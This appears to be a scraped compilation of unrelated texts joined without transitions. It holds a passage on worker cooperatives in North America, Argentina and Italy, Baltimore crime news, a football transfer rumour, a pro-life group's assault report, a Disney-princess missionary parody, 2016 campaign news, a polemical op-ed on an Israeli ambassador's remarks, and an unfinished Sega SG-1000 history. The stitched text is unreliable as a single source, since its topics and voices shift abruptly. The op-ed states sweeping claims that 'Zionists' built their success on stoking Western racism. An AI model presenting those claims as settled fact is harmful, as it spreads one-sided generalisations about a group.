Making the case for the advancement of cooperatives in the U.S. and Canada, Earle pointed out that “the introduction of a cooperative into a traditional business ecosystem makes that system healthier…[by] pushing traditional employers to be more responsible and democratic with their workers.”
The idea is that once workers realize that there is indeed a better system available by which they can control and organize themselves and therefore assure economic stability, Bosses and Management will think twice before laying people off in order to boost their own bonuses. Therefore, he concluded, “I think there’s certainly nothing [about cooperatives] that is incompatible with the U.S. economy.”
Moreover, in stark contrast to the housing and general social situation in the United States, for instance, “housing co-ops and consumer co-ops are so numerous [in Emilia-Romagna] that they hold down prices, and most privatized social services are provided by employee co-ops (including 60% of home health care services),” Logue pointed out.
Community-focus is also incredible. In Argentina, cooperatives have not only worked in solidarity with one another, but have also subsidized and offered free products to charities, schools and community centers.
A testimony from one of the sisters of a worker-owner of the Brukman Recovered Factory seen in the La Toma movie declares that under corporate management, her sister was docked pay every time she missed work to go for cancer treatment. Under the workers’ management, she told the camera elatedly, they pay her every cent she is owed even when she is getting her treatment.
“This is the people we must support!” exclaimed the woman as she raised her fists and laughed for the camera.
The Spanish cooperative Mondragon goes as far as to offer supportive capital and services internationally.
FINDING “SUPPORT”
Although it sounds like an easy concept – to support a movement which clearly empowers and provides a better life for the middle class – there are certain barriers to the movement.
Firstly, investment from the private sector is hard to come by when high returns cannot be promised.
“It’s a difficulty in some ways,” Earle said, “particularly when you take seasoned investors with a particular idea of what an investment has to look like. To a certain degree,” he continued, “we’re trying to change the mentality of what we really need to be investing in: that is, looking outside of individual returns and thinking genuinely in investing in society at large.”
The Working World loans money ranging from $1000 to $40000 to new and established cooperatives which would normally be turned away by traditional creditors as they have little or no collateral. It does this on very friendly terms, never asking for the money to be re-paid yet nevertheless boasting a 97% repayment rate.
The organization began with funds from Martin’s own pockets and “two angel donors who have given [them] long-term support.” At this point, Earle said, it is “sort of a smorgasbord of funding,” since they’ve received as recently as 2009, a bit of financing from the Argentinian government through the Ministry of Social Development under Leftist president Nestor Kirchner.
“More recently,” he explained, “in a shining moment for the organization, two different federations of cooperatives actually had extra money that they had a mandate to use to support the growth of other worker cooperatives in the area, [but] they cast that money over to us, which was a real affirmation of the quality of the work that we’d been doing and…the extent to which we were seen as a group genuinely responsive to the needs of the movement.”
“I’d be lying to say that people are beating down our door to give us their investments,” he clarified with a chuckle. “But at the same time I can say that we do have a moderately-sized group of regular investors.” As a matter of fact, he thinks that this year they will be going “over the one million-dollar [mark] in loans.”
TREC and its two affiliated projects – WindShare and SolarShare – have also had difficulty “getting people to put investment up front,” Lipp told me, largely because they are trying to provide renewable energy sources in an industry that has been “dominated for the last hundred years by large centralized entities.”
“We’re transitioning to a decentralized electricity system, but there are lots of people who don’t understand what we are doing,” she said.
“On the whole,” she began explaining, “it is [a group of] – environmentally-conscious, middle-class individuals interested in finding ways to address climate change and other issues, but also looking for investment opportunities that align with their values.” Unfortunately, that is precisely the reason why it is difficult coming by private investment.
People “turn the lights on but they don’t really want to engage with how it is that we keep those lights on and the impact that keeping those lights on has on the environment as well as on other social aspects,” Lipp explained. “So the challenge is navigating the system that is geared towards large players and being able to make that system work for essentially small players who are doing smaller projects.”
Luckily, there are programs in Ontario such as the Green-Energy Act, a Feed-In Tariff (FIT) program, and the Community Energy Partnership Program, all of which “essentially provide the framework…to apply and become a generator and feed into the grid as long as you’re given a contract,” Lipp reassured me.
For TREC in particular, the fact that the Federal Government is ending the Cooperative Development Initiative (CDI) program will not adversely affect them yet since they have one more year in their three-year grant contract. But Lipp told me that it will definitely be a painful blow going forward for new cooperatives.
Corcoran also agreed. “Getting grants is almost impossible from federal foundations….and getting capital, as well, it’s a challenge because of its nature in cooperatives, which is instrumental and not what is driving the business.”
She continued: “We’ve long argued that there is a need for a national co-op development fund on the order of $20 million or bigger.” The CWCF currently offers a small fund that people can use to start their own co-ops.
In talking with all three, it became apparent that the biggest obstacle to the cooperative movement had to do with funding. It was agreed that because the work that cooperatives do is in many ways innovative, focused mostly on social advantages rather than on individual profits, not many “seasoned investors” are interested in offering their dollars. Nevertheless, Lipp assured me that as viable alternatives to traditional capitalist economic models go, cooperatives were certainly on the list since they “have been around for the last 200 years.”
Indeed, in Italy, the cooperative movement had its origins in the 1850s, and flourished until the end of the Second World War, when Mussolini’s brutal fascism decimated “its strong cooperative and labour movements,” Logue’s essay reads.
But this did not end the movement. And neither did the CIA money that went into destabilizing the Left-wing government in Emilia-Romagna who, in spite of those Machiavellian American efforts, managed to “encourage employee ownership, consumer cooperatives, and agricultural cooperatives, [as well as] the development of Cooperative Institutions for all small businesses.”
Although we no longer find any blatant suppression towards cooperative and labour movements, governments in the United States and in Canada have kept hush on funding them.
As mentioned above, the Canadian Federals are currently cutting the funds fuelling the Cooperative Development Initiative, but even long before this Conservative noose on the country, the Liberals weren’t exactly paving crossroads.
“We actually spent ten years starting this organization,” Corcoran told me, because they “had next to nothing, like $30,000 or $40,000-a-year budget. We were about to give up when we obtained our funds,” she said, laughing with disbelief.
“We hadn’t obtained the capital funds after years of lobbying the Liberals – we were just going to throw in the towel because we were exhausted and tired. But luckily that came in just in time… in 2001.” This was used to start their Capital Fund for starting co-ops, which they are still operating. They had come close to obtaining the full funds, she said, “but the liberals didn’t act fast enough, then the government became a minority Conservative one and then of course they wouldn’t do it.” Actually, they’ve sent money to Quebec, but she told me that that was money that was supposed to go to the CWCF and to Ontario, but because we lack the “political capital…and people prepared to stand up and lobby and go to the streets,” she opines, Ontario was overlooked.
Government support is essential to the cooperative movement’s progress. In Italy, for example, the movement is enshrined under Article 45 of the 1947 Italian Constitution and the Basevi Law of 1947, which, Logue explains, “provided co-ops with special tax treatment to encourage their self-capitalization by creating the concept of ‘indivisible reserves’ for the benefit of all (i.e., future generations of employees and the community).”
But the most difficult barrier of all is the myth that corporate or individual-focused capitalism is the only feasible business method out there.
“We do have a strong culture of individualism and the mythology of the individual entrepreneur is very strong,” said Earle. “I don’t think that in 100 years all businesses will be cooperatives…I think of it more as a one-step-a-time process in the sense of supporting those cooperatives out there…as an option that is on the table and make sure that it will always be on the table for folks looking for new work opportunities.”
Lipp also thought, like Corcoran told me at one point, that the cooperative model is indeed a viable alternative to capitalism.
“The cooperative movement is an antidote to the capitalist model which is all about maximizing profits for the shareholders,” she explained enthusiastically. “This is about maximizing profits for the community and at the same time recognizing the social values that people are interested in pursuing. Ultimately, the biggest difference between a co-op and a corporate model….is the member vote: regardless of your investment, it is one member one vote – a democratic enterprise.”
“Beyond that,” she continued, “you can use a co-op for any number of activities. We could be using a co-op instead of a corporate structure for banking, retail, cultural factors, the energy sector, because it’s a model that’s proven to be more in line with peoples values….It’s a way for people to get involved in the green energy sector as opposed to what’s been happening with some of the contentious issues around project development, where foreign companies are coming in and, at the very local level, are setting projects and sometimes not respecting the people on the ground.” Think pipelines!
However, like Earle, she did not think that this was going to happen in our lifetime.
“On the other hand…I think we’ve created a system where people just think they have to keep working harder and harder to make more and more money so that they can buy more things. I’m not sure we’re close to breaking that cycle. I’d like to say ‘yes,’ but I don’t think so. I do think more people are looking for alternatives, but not on a massive scale. Also look at what’s being taught at schools and universities – the dominant capitalist and individualistic model…so how do you break that?”
She was kind of right, and it depressed me a little bit to think so. But I disagreed with her opinion that it was not on a massive scale yet. It is precisely what movements like Occupy are trying to do, I thought. Perhaps the advent and proliferation of cooperatives is a mission that the Occupy movement could adopt as a way to put forth not only a protest against the current system, but also a specific proposition of what the adopted alternative should be.
TO BE OR NOT TO BE (POLITICAL), THAT IS THE QUESTION
The important thing to remember about the cooperative movement is that it is a post-partisan movement, able to stand on its own without having to take sides on the political spectrum. Members of cooperatives range from leftists to rightists. However, wherever the movement is aligned with the Left, its main objective will be to retain its sovereignty and adherence to the International Cooperative Principles.
In many places in Latin America and Europe, such as in Emilia-Romagna, for instance, left-wing parties have already embraced the cooperative movement, “with reason and understandably, and in ways that I hope continue to happen,” said Earle.
The world has already held the First and Second Latin American Conferences on Recovered Companies in 2005 and 2009, respectively. The conferences were held in Caracas, Venezuela – socialist ground under President Hugo Chavez, who addressed them both, declaring that “recovered factories are…an alternative to capitalism and the antithesis to the Free Trade Agreement of the Americas (FTAA)”. He also pledged a $5 million rotating fund to each country and promised to provide raw materials in exchange for hiring Venezuelan workers. There were over 200 workers from countries including Canada, Argentina, Paraguay, Bolivia, Mexico, Brazil, Venezuela, Turkey and Iraq, as well as leading activists from many companies like Mitsubishi, Vivex, etc., and leading trade unionists.
The point of the conferences was to establish an international network of cooperatives, particularly in Latin America, to support each other financially and otherwise, and also to establish the difference between Worker Cooperatives and Nationalized Factories Under worker Control. The former implies that although it is under worker control, the establishment will continue to operate based on Free-Market Rules, while the latter implies that the factory belongs not only to the workers but to society at large, and the management is therefore made with social interests at heart, usually by members that belong to Leftist Parties.
And “while there certainly are co-ops that are more political and radical in addition to having strong business,” Earle told me, “there are others that aren’t so political and that are more about having community-based businesses where everyone has a chance to be owners and have certain amount of democratic input, and there isn’t necessarily a whole lot more political stuff that is injected into that.”
Lipp also didn’t think that as a political entity, cooperatives had much clout.
“Political parties will pick up causes if they see that there’s an advantage to them as far as getting elected…But there’s a huge lack of understanding of what co-ops do,” she explained. “I think in rural communities they certainly understand them, but most Canadians live in cities and I think a lot of them don’t have a clue about cooperatives…So I can’t see them being politicized at this point.”
CONCLUSIONS: LET THE MOVEMENT GROW
Cooperatives are a solution to the abusive and out-of-touch corporate pyramid that places a few at the top and the majority at the very bottom. The signs that people want a different economic system are becoming clearer every day, especially when the streets are flooded with the Occupy Movements across the United States and the world; in Canada, where students are protesting tuition hikes and satellite Occupy movements have also come together; in the Middle East, where people are revolting against tyrants and economic oppression; in Europe, where more and more people take to the streets to protest austerity measures and job lay-offs; in Latin America, where a new 21st Century Socialism is sweeping the continent, keeping none of the repressive USSR methods and focusing instead on providing better standards of living for the poor majority.
Yes, change is in the air– even in the United States, the powerhouse of traditional capitalism.
“We just recently went to the U.S. Cooperative Conference in Boston,” Earle told me. “And it had the feel of something that is trending upward,” especially with more than 400 attendants, a huge percentage of which, Corcoran who was also there told me, “had found the movement through Occupy!” Additionally, the International Year of Cooperatives declared by the UN will definitely “support that upward trend,” said Earle.
There will be another conference held in Hamilton in November.
And remember, as Earle said, “the cooperative movement is a lot more developed than it gets credit for…there are some really interesting larger cooperative support organizations out there. They tend to be beneath the surface so that perhaps you don’t really notice they’re there, although they’re right under your noses.”
But that’s changing.
“The Evergreen Model in Cleveland has been a high-profile success; in California, in the Bay Area, there are a lot of interesting things going on,” said Earle. “Certainly there aren’t as many cooperatives as there are in Argentina or Italy, but it is an interesting first group of cooperatives…and it is one that is growing.”
Police are also investigating a fight that occurred at Charles and Lombard streets Wednesday morning and involved youths who may have been wearing school uniforms. Eight days ago, a group of youths stole candy and attacked the owner of a convenience store on Light Street.
The string of incidents has prompted the police commander in charge of the Central District station to propose teaming his patrol officers with school police during the morning and evening rush hours. That would put police who know many of the students on the front lines.
“We want to partner with the school system,” said city police spokesman Anthony Guglielmi. “We want to quickly identify those involved, and it’s easier to do that with the school police.”
The latest attack occurred outside the Fallon Federal Building at Hopkins Plaza, located along South Charles Street between West Baltimore and West Lombard streets. The square is three blocks northwest of the Inner Harbor, near several downtown hotels, the convention center and the 1st Mariner Arena.
Police did not have any details on the victim or precisely where he worked. The Fallon building contains offices for several agencies, including the Bureau of Alcohol, Tobacco, Firearms and Explosives and the U.S. Immigration and Naturalization Court. There are several other federal buildings nearby.
Guglielmi said the victim was apparently walking to work about 7 a.m. when he was attacked by at least five juveniles - four males and one female. One youth was not wearing a shirt. Other clothing descriptions were not available, but police said they did not appear to be wearing school uniforms.
Police were viewing video from surveillance cameras to try and identify the youths involved. Guglielmi said the victim was “punched in the head and kicked to the ground,” but was not hurt seriously enough to require medical attention. Police said he was not robbed.
The earlier attack occurred Wednesday about 8:30 a.m. at Charles and Lombard streets, at the southeast corner of Hopkins Plaza. Police said officers responded to 911 calls reporting “a group of juveniles fighting,” possibly wearing school uniforms.
Guglielmi said that officers responded but the fight was over by the time they arrived. Authorities said video surveillance cameras confirmed there was a fight and police using the footage and talking with school police to try and identify suspects and victims.
Meanwhile, prosecutors are reviewing the police case in the May 23 attack in the 7-Eleven on Light Street. Police said detectives using footage from video cameras were able to identify the youths involved. Police said they are students at Mergenthaler Vocational-Technical Senior High School in Northeast Baltimore.
A spokesman for the Baltimore State’s Attorney’s Office said no charges have been filed as of Thursday, and he declined to comment further on the open investigation.
Putting school police officers with city patrol officers would be an extension of weekend night police foot patrols that the mayor ordered to saturate the Inner Harbor and downtown after hundreds of teens converged on St. Patrick’s Day and fought street corner to street corner. School police officers are staffing a post outside the Harborplace Gallery, a shopping mall on Pratt Street that attracts many students.
There was no immediate comment on Thursday from the city school system. A spokeswoman was checking with the school police chief.
The repeated incidents of violence have raised questions about security and safety as the summer season approaches. The city is gearing up for several large scale tourist events, including June’s 2012 Star-Spangled Sailabration commemorating the bicentennial of the War of 1812, July 4 fireworks, Artscape north of downtown and the Grand Prix road race.
On Thursday, Delegate Patrick McDonough continued his pressure on the city, proposing what he calls a “Solutions Summit” and the creation of a Maryland Youth Advocacy Fund to raise money through private contributions to fund youth initiatives.
But McDonough, a Republican from Baltimore and Harford counties, has been dismissed by city leaders and others after he complained about “black youth mobs” terrorizing the city and asking the governor to send in state police to restore order. He said the Inner Harbor should be declared a “no travel zone.”
The delegate is holding a steady series of news conferences to garner attention. At his latest gathering, McDonough challenged Baltimore Mayor Stephanie Rawlings-Blake, a Democrat, to a televised debate over the safety of the city.
“The youth crime problem in Baltimore City and the state must no longer be ignored,” the delegate said in a statement issued Thursday.
Ryan O’Doherty, the spokesman for the mayor, said that McDonough “should debate himself and his Republican colleagues who supported deep cuts to the Police Department and cuts to gun prosecutions as part of the state doomsday budget.”
The spokesman charged the cuts — which did not take effect after the General Assemble voted in a special session to raise taxes on the state’s top wage earners and to shift some teacher pension costs to counties — would have decimated public safety in the city.
Tottenham are eyeing Holland winger Memphis Depay – the man hailed as the new Cristiano Ronaldo.
The PSV Eindhoven front man is being hailed as the next wonderboy to emerge from Dutch football and carries a £17million price tag.
As well as the White Hart Lane club, Manchester United-bound Holland boss Louis van Gaal has also become a big fan of the player.
In fact, he impressed him so much in the Dutch team that Van Gaal picks the 20-year-old ahead of established players like Jeremain Lens or Klaas-Jan Huntelaar.
Depay’s agent Kees Ploegsma says the £17m fee projection is close to what PSV Eindhoven are looking for.
Depay has a terrific right foot and can hit thundering free-kicks and shots from distance. It was his long-range shot that sealed Holland’s 3-2 win over Australia.
Dick Advocaat, his former PSV Eindhoven boss, has revealed that he has always seen a potential Ronaldo in Depay.
“Memphis is one of Holland’s finest talents,” said Advocaat. “But I wanted to make it clear to him that there is a difference between being a talent and becoming a world-class player.
The alleged assailant punched Purity Thomas, a high school fellow from Students for Life of America in Roanoke, Va., according to a press release received by The Daily Caller News Foundation.
Thomas was praying and speaking with women in front of a Planned Parenthood facility when a woman started threatening to beat and “f***” her up, according to Students for Life of America. The woman reportedly then stole a sign reading “All people are made in the image of God,” at which point the students started to record the incident.
The woman returned, tried to steal another sign, and subsequently punched Thomas in the face.
VIDEO:
“It’s horrific that a minor expressing love for pregnant women was targeted for violence,” said Kristan Hawkins, president of Students for Life of America, in the press release. “But this is not an isolated incident. Across the country we are witnessing a rise in the number of incidents of vandalism and violence against peaceful pro-life speech.”
Indeed, California State University, Fresno students sued a university professor after he wiped away university-approved pro-life chalk messages on campus. In April, a Texas State University student punched and kicked down pro-life signs on the campus. (RELATED: Guy Goes Berserk At Sight Of Pro-Life Signs On Campus [VIDEO])
“Even the American Bar Association is demonizing pro-life speech, trying to block pro-life attorneys from taking a seat on the bench,” said Hawkins. “We pray that the assailant from today’s attack is brought to justice swiftly. But we also pray for the protection of those who volunteer their time to speak for the innocent, preborn infants and their mothers.”
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Belle
Strengths: Memorized the entire Standard Works.
Most Converts: The sheep
Sister Belle was quite the scriptorian, and though she avoided them as much as possible, she was quite the formidable opponent in a Bible bash.
Belle’s strengths lay in her knowledge, but she was also extremely social. She would often gather groups on the street like the original missionaries did.
Though she had many human converts, Belle found most of her success with the humble sheep.
Jasmine
Strengths: Church tours and avoiding marriage
Weaknesses: Kleptomania
Sister Jasmine was great with kids. She strived to follow the instructions in Preach My Gospel to seek out and teach families.
Like most missionaries, Sister Jasmine often found herself in uncomfortable confrontations. The local “street rats” took it upon themselves to protect the sisters, and were often helping them escape disgruntled shopkeeps.
Sister Jasmine found many converts through tracting, but Jasmine’s real talents lay in giving church tours.
Ariel
Strengths: Unmatched charisma, ASL trained
Weaknesses: Mute
Ariel had always wanted to serve a mission, so when Thomas S. Monson announced that she could leave two years earlier than she had planned, she was ready to go.
Sister Ariel was originally called to the land-dwellers non-speaking mission, but her visa took a while to be approved so she spent some time in the Under-Sea Guppy Speaking Mission
The culture took some getting used to, so dinners with members were pretty interesting.
Upon her return it didn’t take Ariel long to rekindle her relationship with her high school boyfriend. They were engaged in two weeks.
Yes, Ariel was that sister.
Mulan
Weapon of choice: Pass-along cards
Most embarrassing moment: Dressed up as an Elder but got caught
Sister Mulan had the testimony of a lion. Her approach was aggressive, but proved to be effective.
She became quite fond of the pass-along cards, so when she had the chance to meet the emperor of China, she didn’t hesitate.
Her persistence paid off, but unfortunately, not everyone appreciated it.
Aurora
Strengths: Voice of a song-bird
Most Embarrassing Moment: Fell into a deep sleep while helping an investigator with a sewing project.
Sister Aurora was particularly adept at working with the woodland creatures. Many avian families were united in the Gospel during her ministry.
She wasn’t afraid to talk to anyone, and her questions were as golden as her hair.
Unfortunately Sister Aurora developed a bad case of narcolepsy, and after 13 months returned to her castle to recover. After the spell was broken she was blessed to be able to return and complete her 18 months.
Cinderella
Strengths: Hard-working & Service-minded
Weaknesses: Often distracted by dreams of marrying a handsome prince
Sister Cinderella had a kind heart, and was often found helping people with household chores.
She would go to great lengths to help her investigators keep their commitments. She even once switched out a family’s entire stash of coffee with hot chocolate.
For Sister Cinderella the evening schedule was never an issue. She was more than grateful for an excuse to be in well before midnight. When her companions would question her about her peculiar aversion to pumpkins and mice, she would just sigh heavily and stare off into space. Sister Cinderella was always obedient, but before all else she made sure to follow the instruction to have attractive shoes.
Pocahontas
Strengths: Testimony as strong as the tallest oak trees.
Weaknesses: None. She was flawless.
Pocahontas was actually a convert to the Church. After reading and praying about the Book of Mormon, she knew what she had to do.
Sister Pocahontas had faith like you wouldn’t believe, almost too much sometimes.
Sister Pocahontas was patient as the rushing waters, and her lessons as varied and interesting as the colors of the wind. She took seriously the council in Preach My Gospel to, “Not be afraid of silence,” and occasionally had to quiet her companions to let the Holy Ghost do His work.
Snow White
Strengths: Extremely neat & tidy, and always baked pies for district meeting
Weaknesses: Morning schedule.
Sister White was very tidy, and always made sure to keep her apartment clean. She and her companion were once transferred into an area to replace the Elders, and were astonished to find that whole place had been infested with vermin.
Sister White was a diligent missionary, but the morning schedule wasn’t her strong point.
Despite her weaknesses, Sister White was an extraordinary missionary. The food-related near death experiences of her past life came in handy when teaching The Word of Wisdom, and she helped many an investigator escape addictions.
And they all lived happily ever after.
CLOSE Jeb Bush and Donald Trump engaged in a head-to-head battle during the Republican debate Tuesday night. With Trump defending his proposal to target the families of terrorists, Bush dismissed him as not a "serious" candidate. (Dec. 15) AP
Florida Sen. Marco Rubio told reporters on his campaign plane Tuesday that he plans to meet with former Florida governor Jeb Bush soon and that “campaigns are a competitive environment, so things happen.”
“That never changed my feelings towards him and I don't think it changed the feelings towards me,” Rubio said. “Jeb and I are friends.”
Former Florida Gov. Jeb Bush prepares to tell supporters in Columbia, S.C., on Feb. 20 that he is dropping out of the presidential race. (Photo11: Matt Rourke, AP)
While Bush, who dropped out of the race Saturday, may be ready to try and patch things up with his one-time protégé, it appears he is not taking another candidate’s calls, according to one of our correspondents from the Reno Gazette-Journal in Nevada:
.@realDonaldTrump on Jeb: I called him to wish him the best. He didn’t take my call. That’s not nice. That was very insulting. — Anjeanette Damon (@AnjeanetteDamon) February 23, 2016
Trump repeatedly blasted Bush for months, labeling him and his campaign as "low-energy," "weak," a "lightweight," a "total embarassment," "really pathetic," oh, and a "total disaster."
Naftali Tamir
Israeli ambassador to Australia
In a recent interview published in Haaretz, Naftali Tamir, the Israeli ambassador to Australia, articulates a perennial need for ‘white’ collaborators that has defined the Zionist project since its inception.
He speaks bluntly of an Israeli partnership with Australia, founded on racial solidarity, to “enhance” Israeli influence over East Asia. Only perhaps in the nineteenth century could a Western diplomat have spoken so plainly about race as the basis of a political alliance. Infinitely better armed against their Arab victims, the Israelis have no need for caution. They can dispense with diplomacy, with political correctness.
The Israeli ambassador feels no compunction in speaking the language of racial stereotypes. “Israel and Australia are like sisters in Asia,” he says. “We are in Asia without the characteristics of Asians. We don’t have yellow skin and slanted eyes. Asia is basically the yellow race. Australia and Israel are not - we are basically the white race. We are on the western side of Asia and they are on the southeastern side.”
The Israeli ambassador’s plan is ambitious. With Israel dominating the western flanks of Asia and Australia anchored off the east of Asia, it appears that these two white sisters have all of Asia cornered. The plan is malicious too. It expects to appeal to, and deepen, Australian anxieties about the growing power of people with “yellow skin and slanted eyes.” If necessary, the ambassador can also remind the Australians how they got to be in Asia: like the Israelis, they too had the power to steal other peoples’ land.
There is little that is surprising in any of this. The appeals to white racism, the claims of racial or civilizational solidarity with the West, have been the foundations of Zionist success since movement first proclaimed its colonial aims in 1895. Israel has succeeded by taking advantage of, and by constantly arousing and deepening, Western racism especially as it relates to Arabs and Muslims.
Israel has succeeded by encouraging the darkest instincts of the West. The leading Western powers had vital interests in the Middle East, especially with the discovery of oil in the early twentieth century. By dovetailing their own colonial project with Western imperialism, the Zionists imposed a more deadly imperialism on the region. In the words of Sir Ronald Storrs, the British governor of Jerusalem, Israel would be “ ‘a little loyal Jewish Ulster’ in a sea of potentially hostile Arabism.” As it turned out, the “Jewish Ulster” has been neither “little” nor “loyal.”
In the early decades after its creation, Israel had few friends in Africa and Asia. Israel sought to break through this isolation by forging close ties with other colonial-settler states - South Africa and Rhodesia - and right-wing military dictatorships in Latin America and Africa. It supplied arms, intelligence, and military training to these countries. Israel’s relations with South Africa were the closest. It helped the apartheid state to develop nuclear weapons in the 1970s. Israel also helped South Africa evade the mandatory arms embargo imposed by the UN Security Council in 1977.
Israel also encouraged the colonial powers to create new white settler states in Africa when they faced nationalist resistance in their colonies. In 1960, when the Algerian resistance against the French occupation of their country was at its peak, David Ben Gurion urged the French President Charles de Gaulle to carve out a white settler state in coastal Algeria after expelling all indigenous Algerians. Luckily, both for the Algerians and France, de Gaulle ignored Israel’s self-serving advice.
Israel understands too well that alliances based on interests alone are risky. Interests are a fickle thing. In order to protect itself against shifting interests, the Zionists have sought to create and deepen new emotional ties with Western audiences. Since the early twentieth century it has given encouragement to a new-fangled theology in the United States that looks upon the creation of Israel as a necessary prelude to the Second Coming. These Zionist Christians now constitute Israel’s faithful foot soldiers in the Republican Party.
In more recent decades, Israel has presented itself increasingly as the West’s secular crusader state. It wraps itself in Western values. It ceaselessly reminds Western audiences that it is the ‘only democracy’ in the Middle East. Many Westerners are willing to excuse Israeli excesses against Palestinians as a small price for preserving a Western ‘democracy.’ More likely, many more see Israel as the last white outpost in the world of colored peoples, valiantly holding back the hordes of brown, fanatical Muslims. As these perceptions have taken root - with daily proddings from an Israel-friendly media - defending Israel has become a vital Western interest.
With unrivalled Western dominance in the 1990s, Israel began to break through its isolation in the Third World. Most of the non-Muslim countries in Sub-Saharan African were persuaded to recognize Israel. In 1991, the US brought pressure on the UN General Assembly to revoke its resolution of 1975 which equated Zionism with racism. Unofficially, most Arab countries ended their boycott of corporations that do business with Israel. Egypt, Jordan and Mauritania recognized Israel. A few Gulf Arab countries established informal relations with Israel.
More recently, however, the winds have been blowing in a new direction. The US invasion of Iraq, so strongly pushed by Israel and its allies inside the United States, has produced a few unforeseen consequences. Islamist Iran now openly contests both the US and Israel in the Middle East. The US- and Israel-friendly Arab regimes appear to be running out of time. In the summer of 2006, Israel eroded its deterrence power in a war it could not win against the Hizbullah. In Latin America, the United States is unable to roll back the new shift towards the left driven by the growing assertiveness of indigenous Americans. The region is not as friendly to Israel as it had once been under right-wing dictators. In several European countries too, the changing Muslim demographics do not bode well for unconditioned European support for Israel.
Perhaps, it is this changing global scenario that is causing some Israelis to emphasize their root constituency: white solidarity. Is this why Ambassador Naftali Tamir is advising Israel to forge a deeper partnership with Australia? It is possible that deep down, some Australians too feel beleaguered among a ‘sea of Asians,’ even though no Asian country threatens Australia. Perhaps, the Ambassador speaks as an insider. Perhaps, that is why he thinks it might be a good idea to exploit these Australian fears. It would be good policy, he argues, for Israel to “cooperate” with Australia - her “white sister” off the eastern edge of Asia - to “enhance” its “position in countries neighboring Australia.” Is this a signal to Australia that with Israeli support it should start casting its gaze — beyond small fries like East Timor - to Malaysia and Indonesia?
Developed in response to a downturn in arcades in 1982, the SG-1000 was created on the advice of Hayao Nakayama, president of Sega Enterprises, Ltd. Shortly after the release, Sega Enterprises was sold to CSK Corporation, which was followed by the release of the SG-1000 II. The SC-3000 and the SG-1000 line both support a library of 76 ROM cartridge games and 29 Sega My Card games, all of which are fully compatible with the Mark III and the Japanese version of the Master System.
History [ edit ]
SG-1000 SC-3000 SG-1000 II Sega Mark III
In the early 1980s, Sega Enterprises, Inc., then a subsidiary of Gulf and Western, was one of the top five arcade game manufacturers active in the United States, as company revenues rose to $214 million.[1] A downturn in the arcade business starting in 1982 seriously hurt the company, leading Gulf and Western to sell its North American arcade manufacturing organization and the licensing rights for its arcade games to Bally Manufacturing.[2][3] The company retained Sega's North American R&D operation, as well as its Japanese subsidiary, Sega Enterprises, Ltd. With its arcade business in decline, Sega Enterprises, Ltd. president Hayao Nakayama advocated that the company leverage its hardware expertise to move into the home console market in Japan, which was in its infancy at the time.[4] Nakayama received permission to proceed.[5] The first model to be developed was the SC-3000, a computer with a built-in keyboard, but when Sega learned of Nintendo's plans to release a games-only console, they began developing the SG-1000 alongside the SC-3000.[6] To keep costs down while ensuring sufficient longevity, Sega opted to create the platform from popular off-the-shelf components.[6]
The SG-1000 was first released in Japan on July 15, 1983, at JP¥15,000.[7] It was released on the same day as Nintendo launched the Family Computer (Famicom) in Japan.[5][8] It was released simultaneously with the SC-3000,[5][7][9] also known as the Sega Personal Computer SC-3000,[10] as well as the upgraded SC-3000H.[11] Though Sega themselves only released the SG-1000 in Japan, rebranded versions were released in several other markets worldwide. Released at nearly the same time as the Japanese version, the SG-1000 was released in Australia through John Sands Electronics[5] and in New Zealand by Grandstand Leisure.[6] The console also saw a release in Italy and Spain,[12] but was not released in the larger video game markets of the United States, United Kingdom, or Germany.[8] Despite this, an unauthorized clone system known as the Telegames Personal Arcade was produced and made available in the United States and Taiwan, and is able to play SG-1000 and ColecoVision games.[5] An additional release of the SG-1000 in Taiwan was done by Aaronix.[6] The console enjoyed a brief period of popularity in Taiwan before the market was taken over by cheaper Famicom clones.[13]
The SG-1000's launch did not prove to be successful.[12] The three launch games, all of which were ported from Sega's VIC dual-arcade board, lacked the name recognition of Famicom launch games Donkey Kong, Donkey Kong Jr., and Popeye.[6] Due in part to the SG-1000's steadier stream of releases (21 SG-1000 games by the end of 1983, as compared to only 9 Famicom games), and in part to a recall on Famicom units necessitated by a faulty circuit, the SG-1000 chalked up 160,000 units in sales in 1983, far exceeding Sega's projection of 50,000 units.[6] Shortly after launch, Gulf and Western began to divest itself of its non-core businesses after the death of company founder Charles Bluhdorn,[14] so Nakayama and former Sega CEO David Rosen arranged a management buyout of the Japanese subsidiary in 1984 with financial backing from CSK Corporation, a prominent Japanese software company. Nakayama was then installed as CEO of the new Sega Enterprises, Ltd.[15] Following the buyout, Sega released another console, the SG-1000 II, on July 31, 1984[9][12] at JP¥15,000.[16] The SG-1000 II replaced the hardwired joystick with two detachable joypads.[5] The lead designer of consumer hardware development at Sega, Hideki Sato, disliked the original cartridges, saying they looked like "small black tombstones" when inserted in the console, and later remarked that his proudest achievement of the SG-1000 era was replacing them with the "cheerier", pocket-sized Sega My Cards.[6] Sega also employed popular owarai comedy duo Tunnels to provide celebrity endorsement for the console.[6]
By 1984, the Famicom's success began to outpace the SG-1000. The Famicom had more advanced hardware, allowing it to perform smoother scrolling and more colorful sprites, and Nintendo boosted its games library by courting third-party developers, whereas Sega was less than eager to collaborate with the same companies they were competing with in arcades.[6] The SG-1000 was also coming up against game consoles from companies including Tomy and Bandai.[5] This would result in the release of the Sega Mark III in Japan in 1985, which later became the Master System worldwide.[12] The last cartridge released was Portrait of Loretta on February 18, 1987.[17] In 2006, the GameTap subscription gaming service added an emulator of the SG-1000, and several playable titles.[18]
Technical specifications [ edit ]
TMS9928A video display processor, as used in the SG-1000
The SG-1000 is powered by an 8-bit Zilog Z80 central processing unit running at 3.58 MHz for the SG-1000 and SG-1000 II,[19][20] and at 4 MHz for the SC-3000.[21] Its video processor is a Texas Instruments TMS9928A, capable of displaying up to 16 colors, and its sound processor is a Texas Instruments SN76489. All three chips were also used in the ColecoVision.[5] The system includes 8 kbit (1 KB) of random access memory (RAM)[19] The controller is hardwired to the system in the original model, and detachable in the SG-1000 II. Video and audio output are supplied through an RF switch.[5] Power is supplied through a 9 V DC connector connected to an AC adapter.[19][20][21]
Several peripherals exist for the SG-1000 series. Available at ¥13,800 at its time of release, the SK-1100 keyboard connects through the expansion slot and is compatible with all models.[22] Multiple controllers were created, including the SJ-200 joystick attached to the SG-1000, and the SJ-150 joypad, made for use with the SG-1000 II. A racing wheel known as the SH-400 was made for use with games such as Monaco GP.[23] The C-1000 Card Catcher, sold at ¥1,000, allowing players to play Sega My Card titles.[24] Additional accessories existed solely for use with the SC-3000, including the SR-1000 cassette deck,[25] the SP-400 4-color plotter printer,[26] and the SF-7000 expansion device which adds a floppy disk drive and additional memory.[27]
Game library [ edit ]
